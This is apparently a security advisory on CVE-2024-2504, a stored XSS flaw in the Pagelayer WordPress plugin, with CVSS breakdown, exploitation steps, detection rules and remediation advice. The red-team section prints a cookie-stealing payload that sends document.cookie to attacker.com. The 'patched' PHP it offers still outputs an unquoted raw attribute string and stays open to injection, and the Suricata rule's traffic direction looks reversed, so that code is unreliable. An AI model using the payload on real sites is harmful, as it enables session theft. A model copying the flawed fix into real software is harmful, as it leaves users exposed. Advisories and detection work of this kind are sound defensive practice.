CVE-2024-2504

Executive Summary

CVE-2024-2504 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 1.8.4. The vulnerability resides in insufficient input sanitization and output escaping on user-supplied attributes via the attr parameter. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used page builder plugin, and the stored nature of the XSS means the payload persists until manually removed. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Pagelayer from the repository are at risk. There is no known compromise of the plugin’s supply chain (e.g., malicious commits or backdoored updates), but the lack of a patch from the vendor means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to be authenticated with contributor-level access.
• Privileges Required (PR): Low (L) – Contributor-level access is required, which is a low-privilege role in WordPress.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim’s browser session).
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., cookies, tokens).
• Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement, phishing).
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to significant impact on site security and user trust.

Deep Dive & Mechanics

The vulnerability exists in the Pagelayer plugin’s handling of the attr parameter, which is used to define HTML attributes for elements created by the page builder. The plugin fails to properly sanitize and escape user-supplied values in this parameter before rendering them in the page output.

Attack Flow:

1. An authenticated attacker with contributor-level access creates or edits a page using Pagelayer.
2. The attacker inserts a malicious payload into the attr parameter, such as:

   onmouseover="alert('XSS')"
   

3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators) views the page, the payload is rendered as part of the HTML, executing the injected script.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to apply them at all, allowing raw HTML/JavaScript to be injected into attributes.

WordPress Context: This is a classic stored XSS in a WordPress plugin. The contributor role is typically trusted to create content, but this vulnerability allows them to escalate privileges by targeting higher-privileged users.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (Pagelayer <= 1.8.4):

// In pagelayer-builder.php or similar
$attr = $_POST['attr']; // No sanitization
echo '<div ' . $attr . '>Content</div>'; // Direct output

Patched Code (Hypothetical):

// Secure version
$attr = sanitize_text_field($_POST['attr']); // Sanitize input
$attr = esc_attr($attr); // Escape for HTML attribute context
echo '<div ' . $attr . '>Content</div>';

Key Differences:

• Input sanitization removes malicious characters.
• Output escaping ensures the value is safe for HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Pagelayer plugin <= 1.8.4.
• Contributor-level account credentials.

Exploit Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. In the Pagelayer editor, add a custom HTML block or modify an existing element’s attr parameter.
4. Inject the following payload into the attr field:

   onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"
   

5. Save and publish the page.
6. When an administrator or other user hovers over the element, the script executes, sending their cookies to the attacker.

Proof-of-Concept (PoC) Code:

<!-- Inject this into the attr parameter -->
onfocus="alert('XSS')" autofocus

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual attr parameter values in POST requests to wp-admin/admin-ajax.php or page editor endpoints.
• Look for patterns like on*= or javascript: in page content.

Prevention:

• Disable the Pagelayer plugin until a patch is available.
• Use a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None provided; check plugin files for modifications)
• Suspicious Database Entries: Look for post_content containing onmouseover, onfocus, javascript:, or similar XSS patterns.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Log Entries: Unusual attr parameter values in WordPress debug logs or server access logs.

Detection Engineering

YARA Rule

rule CVE_2024_2504_Pagelayer_XSS {
    meta:
        description = "Detects stored XSS payloads in Pagelayer plugin attr parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2504"
    strings:
        $xss1 = /on\w+\s*=\s*['\"].*?['\"]/ nocase
        $xss2 = /javascript\s*:/ nocase
        $xss3 = /<script\b[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2504 Pagelayer Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in Pagelayer plugin attr parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=pagelayer'
        cs-uri-query|contains: 'attr='
        cs-uri-query|re: '(on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2504 Pagelayer Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=pagelayer"; http_uri; pcre:"/(on\w+=|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Pagelayer plugin until a patch is released.
2. Review and clean any pages created by contributors for malicious content.
3. Reset passwords for all users who may have been affected.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly update all WordPress plugins and themes.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Restrict contributor-level access to only trusted users.

Valters IT
Securing Digital Frontiers